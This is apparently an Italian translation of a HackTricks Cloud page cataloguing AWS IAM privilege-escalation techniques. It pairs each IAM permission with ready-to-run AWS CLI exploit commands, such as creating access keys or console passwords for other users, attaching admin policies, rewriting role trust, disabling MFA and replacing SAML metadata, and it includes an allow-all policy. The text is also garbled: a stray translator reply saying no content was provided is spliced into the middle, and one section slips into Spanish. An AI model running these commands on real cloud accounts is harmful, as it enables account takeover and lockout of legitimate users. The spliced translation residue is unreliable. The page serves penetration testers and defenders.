AWS - IAM Privesc
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
IAM
Per maggiori informazioni su IAM, consulta:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Consente di creare una nuova versione di una policy IAM, aggirando la necessità del permesso iam:SetDefaultPolicyVersion usando il flag --set-as-default. Questo consente di definire permessi personalizzati.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impatto: Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
iam:SetDefaultPolicyVersion
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impatto: Escalation di privilegi indiretta abilitando permessi aggiuntivi.
iam:CreateAccessKey
Consente di creare access key ID e secret access key per un altro utente, portando a una potenziale escalation di privilegi.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: Escalation di privilegi diretta assumendo i permessi estesi di un altro utente.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Consente di creare o aggiornare un login profile, compresa l'impostazione di password per l'accesso alla console AWS, con conseguente escalation di privilegi diretta.
Exploit per la creazione:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit per Aggiornamento:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Escalation diretta dei privilegi effettuando l'accesso come utente "qualsiasi".
iam:UpdateAccessKey
Consente di abilitare una access key disabilitata, potenzialmente permettendo accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impatto: Escalation di privilegi diretta riattivando access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Consente di generare o reimpostare credenziali per servizi AWS specifici (es. CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
Exploit per la creazione:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit per il reset:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impatto: Escalation di privilegi diretta sulle autorizzazioni di servizio dell'utente.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando le autorizzazioni della policy allegata.
Exploit per l'utente:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit per Gruppo:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impatto: Escalation di privilegi diretta a qualsiasi cosa la policy conceda.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permette di allegare o aggiungere policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta concedendo permessi aggiuntivi.
Exploit per il ruolo:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit per Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Non vedo il contenuto da tradurre. Per favore incolla il testo del file src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md qui.
Tradurrò in italiano mantenendo intatti markdown, tag HTML, link, path, codice, nomi tecnici (es. aws, lambda, pentesting) e le altre eccezioni che hai indicato.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite policy.
iam:AddUserToGroup
Consente di aggiungere se stessi a un gruppo IAM, escalando i privilegi ereditando i permessi del gruppo.
Sfruttamento:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impatto: Escalation di privilegi diretta al livello delle autorizzazioni del gruppo.
iam:UpdateAssumeRolePolicy
Consente di alterare il documento assume role policy di un ruolo, consentendo l'assunzione del ruolo e delle autorizzazioni associate.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Quando la policy è la seguente, che dà all'utente il permesso di assumere il ruolo:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impatto: Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, portando a una possibile escalation di privilegi indiretta.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit per la disattivazione di MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.
iam:ResyncMFADevice
Permette la risincronizzazione di un dispositivo MFA, potenzialmente causando un'escalation di privilegi indiretta tramite la manipolazione della protezione MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impatto: Escalation indiretta dei privilegi aggiungendo o manipolando dispositivi MFA.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Con queste autorizzazioni puoi modificare i metadati XML della connessione SAML. Poi, potresti abusare della SAML federation per login con qualsiasi ruolo che si fida di essa.
Nota che facendo questo gli utenti legittimi non saranno in grado di effettuare il login. Tuttavia, potresti ottenere l'XML, quindi puoi sostituirlo con il tuo, effettuare il login e ripristinare quello precedente.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Uno strumento in grado di generare i metadata SAML e di eseguire il login con un ruolo specificato
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Non sicuro su questo) Se un attacker ha queste permissions, potrebbe aggiungere un nuovo Thumbprint per riuscire ad effettuare il login in tutti i ruoli che si fidano del provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Questa permission consente a un attacker di aggiornare il permissions boundary di un user, potenzialmente escalando i suoi privileges e permettendogli di eseguire azioni che normalmente sono ristrette dalle permissions esistenti.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un soggetto con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un ruolo esistente. Il rischio emerge quando qualcuno con questa autorizzazione modifica il boundary di un ruolo: può restringere in modo improprio le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, ampliare di fatto ciò che il ruolo può fare e permettere un'escalation dei privilegi.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Riferimenti
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud